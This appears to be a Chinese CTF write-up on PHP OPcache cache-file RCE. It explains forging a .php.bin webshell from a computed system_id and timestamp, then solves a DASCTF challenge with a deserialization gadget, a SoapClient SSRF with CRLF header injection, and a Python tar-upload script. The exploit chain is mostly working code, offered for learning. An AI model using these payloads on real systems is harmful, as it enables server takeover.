PHP7/8 OPCACHE缓存文件导致的RCE OPcache基础
OPcache(Opcode Cache)是 PHP 的一个内置的加速模块,通过解析的 PHP 脚本预编译存放在共享内存中的字节码来避免每次加载和解析 PHP 脚本的开销,解析器可以直接从共享内存读取已经缓存过的字节码,从而大大提高了 PHP 的执行效率。
PHP的正常执行流程:
request请求(nginx,apache,cli等)
Zend引擎读取.php文件
扫描其字典和表达式
解析文件
创建要执行的计算机代码(成为Opcode)
最后执行Opcode
response返回
每一次执行 PHP 都要执行一遍上面的步骤,如果 PHP 源码没有变化,那么 OPcode 也不会变化,显然没有必要,下面是使用 OPcache 之后
避免重组编译 减少CPU和内存开销
配置解读
1 2 3 4 5 6 7 8 9 10 11 file_cache_only = 0 //PHP7 的默认值为 0,表示内存缓存方式的优先级高于文件缓存,那么重写后的 OPcache 文件(webshell)是不会被执行的。但是,当 Web 服务器重启后,就可以绕过此限制。因为,服务器重启之后,内存的缓存为空,此时,OPcache 会使用文件缓存的数据填充内存缓存的数据,这样,webshell 就可以执行了。 opcache.validate_timestamps=0 //PHP7 的默认值为 1,表示启用了时间戳校验,OPcache 会将被请求访问的 PHP 源文件的时间戳与对应的缓存文件的时间戳进行校验。如果两个时间戳不匹配,缓存文件将被丢弃,并且重新生成一份新的缓存文件。想要绕过此限制,攻击者必须知道目标源文件的时间戳,因此可以先获取到 bin 文件,拿到时间戳,然后将我们的恶意 bin 文件的时间戳替换即可 opcache.file_cache=/tmp //开启Opcache File Cache(实验性), 通过开启这个, 我们可以让Opcache把opcode缓存缓存到外部文件中, 对于一些脚本, 会有很明显的性能提升. 这样PHP就会在 /tmp 目录下 Cache 一些 Opcode 的二进制导出文件, 可以跨 PHP 生命周期存在.
环境搭建 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 docker pull php:7.1-apache //docker pull php:8.2-apache docker run -d -p 9000:80 --name opcache7 php:7.1-apache //docker run -d -p 9001:80 --name opcache8 php:8.2-apache apt-get update apt install vim vim phpinfo.php //写phpinfo //安装opcache插件 docker-php-ext-configure opcache --enable-opcache && docker-php-ext-install opcache vim /usr/local/etc/php/php.ini-production //找到opcache部分添加下面三行句子(如果我没记错的话在 1798 行/8是1784):cry: [opcache] opcache.enable=1 opcache.file_cache="/tmp" opcache.file_cache_only=1 //docker的php是没有php.ini配置文件的,修改了php.ini-production后复制并重命名为php.ini即可 cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini //修改了php.ini要重启服务 service apache2 reload
看到这一行就说明配置成功了
再看一下 docker 中的文件
当Opcache第一次缓存文件时, /tmp/system_id/var/www/html/phpinfo.php.bin
OPcache-PHP7 Opcache rce的原理
Opache 是 php 中一个生成缓存文件的拓展,当我们访问一个 php 文件时,他会产生一个缓存文件,下次访问该 php 文件时,就是直接根据缓存文件回显页面了。
所以,我们需要做的就是伪造文件替换即可
缓存文件夹为1116d566fdc53f79abce6c01e3a0308d
计算``system_id`是今天的重点
可以根据phpinfo的信息计算出来system_id
的
在 PHP 环境下已经有前人给出我们计算脚本,https://github.com/GoSecure/php7-opcache-override
接下来,当我们存在任意文件写入或者覆盖时,我们可以通过覆盖.php.bin
文件达到RCE的目的
把文件搞下来,分析一下
可以看到最开头是OPACHE+systemid,因此假如我们获取到了SYSTEMID,我们就可以伪造一份缓存文件了,但是还需要注意一点
我们这里的opache拓展开启了timestamp,也就是时间戳验证,那么假如我们创建的文件时间戳不对的话,我们也无法覆盖成功的,那么就需要题目有一个获取时间的地方,假如可以下载任意文件或者直接获取时间戳,那么我们可以用010editor直接修改。
图中蓝色代表的就是时间戳了。我们记住这个时间戳,然后我们同样去自己的服务器生成一个一句话木马的缓存bin文件:
然后替换掉这个文件。然后访问 phpinfo.php 看看效果:
这样就成功getshell了,需要注意一下生成恶意bin文件的php版本需要大致吻合,不能差太多。
Opcache-PHP8 在PHP8之后,opcache生成system_id的方法有些许改变,所以之前的脚本是跑不出来了
可以看出来这里的 system_id 不同
这里的规律佬说动调可以看出来是php 版本号 + API
1 2 <?php var_dump(md5("8.2.15API420220829,NTSBIN_4888(size_t)8\002"));
最后算出来的一样
接下来的跟 PHP7 没区别了就
DASCTF X 0psu3 十一月挑战赛 single_php 通过 highlight_file 高亮代码获得如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <!DOCTYPE html> <html> <head> <style> img { max-width: 200px; max-height: 200px; } </style> <title>revenge to siranai.php </title> </head> <body> <h5> This is my wife.She is from Imagination. And I,use her name as my id. </h5> <img src="mywife.png" alt="this is my wife"> <p>I have been single dog for 19 years.<br> One day, my brothers betrayed the singles organization.<br> S* and B* ,both of them have the kanozyo.<br> Now revenge to them!!!!!<br> use '$_GET['LuckyE'](__FILE__);' to begin your revenge!!<br> </p> </body> </html> <?php error_reporting(0); class siroha{ public $koi; public function __destruct(){ $this->koi['zhanjiangdiyishenqing'](); } } $kanozyo = $_GET['LuckyE'](__FILE__); var_dump($kanozyo); $suki = unserialize($_POST['suki']);
siranai.php
存在反序列化,但是只能执行一个无参的函数,例如phpinfo()
1 2 3 4 5 6 7 <?php class siroha { public $koi = array ("zhanjiangdiyishenqing" =>"phpinfo" ); } $a = new siroha ();echo serialize ($a );
反序列化调用查看 phpinfo 相关信息
首先 OPcache 开启并且缓存文件在 /tmp 目录下
然后需要注意的是时间戳是开启的,所以要办法读时间戳
filemtime —— 取得文件修改时间
获取时间戳(官方wp是脚本读的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );highlight_file (__FILE__ );$allowed_ip = "127.0.0.1" ;if ($_SERVER ['REMOTE_ADDR' ] !== $allowed_ip ) { die ("S* has the kanojo but you don't" ); } $finfo = finfo_open (FILEINFO_MIME_TYPE); if (finfo_file ($finfo , $_FILES ["file" ]["tmp_name" ]) === 'application/x-tar' ){ exec ('cd /tmp && tar -xvf ' . $_FILES ["file" ]["tmp_name" ]); }
发现上传的文件会在/tmp
目录下解压,但是限制了访问ip为127.0.0.1,需要SSRF
那么思路就很清晰了,通过反序列化的可变函数调用到__call()
方法,触发SoapClient类的SSRF上传压缩包,解压到/tmp/[system_id]/var/www/html/index.php.bin
实现RCE
1. 构造恶意的index.phpbin
文件 修改system_id + 时间戳
2. 创建tar压缩包 + 反序列化实现POST请求 这里通过python请求获取到压缩包上传的报文
直接贴上官方WP里的python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import hashlibimport tarfileimport requestssys_id = hashlib.md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002" .encode("utf-8" )).hexdigest() def tar_file (): tar_filename = 'exp.tar' with tarfile.open (tar_filename,'w' ) as tar: directory_info = tarfile.TarInfo(name=f'{sys_id} /var/www/html' ) directory_info.type = tarfile.DIRTYPE directory_info.mode = 0o777 tar.addfile(directory_info) tar.add('index.php.bin' , arcname=f'{sys_id} /var/www/html/index.php.bin' ) def upload (): file = {"file" :("exp.tar" ,open ("exp.tar" ,"rb" ).read(),"application/x-tar" )} res = requests.post(url="http://78bc1e89-1ea7-4655-8f23-5c452dc6ae17.node5.buuoj.cn:81/" ,files=file) print (res.request.headers) return res.request tar_file() request_content = upload() upload_body = str (request_content.body).replace("\"" ,"\\\"" ) print (upload_body)
将生成的请求体数据封装在 SoapClient 内置类里,序列化
1 2 3 4 5 6 7 8 9 10 <?php class siroha { public $koi ; } $postdata = "" ;$a = new SoapClient (null , array ('location' => "http://127.0.0.1/siranai.php" , 'user_agent' => "aaa\r\n" . "Cookie: PHPSESSION=aaa\r\nContent-Type: multipart/form-data; boundary=" .substr ($postdata ,2 ,32 )."\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416" ."\r\n\r\n" .$postdata ,'uri' => "aaa" ));$b = new siroha ();$b ->koi=["zhanjiangdiyishenqing" =>[$a ,"nnnnn" ]];echo urlencode (serialize ($b ));
最后suki反序列化即可,注意这里同时需要GET传参,满足var_dump($kanozyo);
不报错
这里调用 SoapClient 对象的不存在的nnnnn方法,会触发call方法。burp发包
成功 getshell
参考:
[PHP8 OPCACHE缓存文件导致RCE - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/06/16/PHP8 OPCACHE缓存文件导致RCE/)
php Opcache插件进行RCE - Zer0peach can’t think
Nepnep战队分享会-20:08
CTF:
春秋杯2023-php_again
ASIS CTF 2016 - BinaryCloud - Web Challenge – ctf.rip
ctfs/alictf-2016/homework at master · tothi/ctfs · GitHub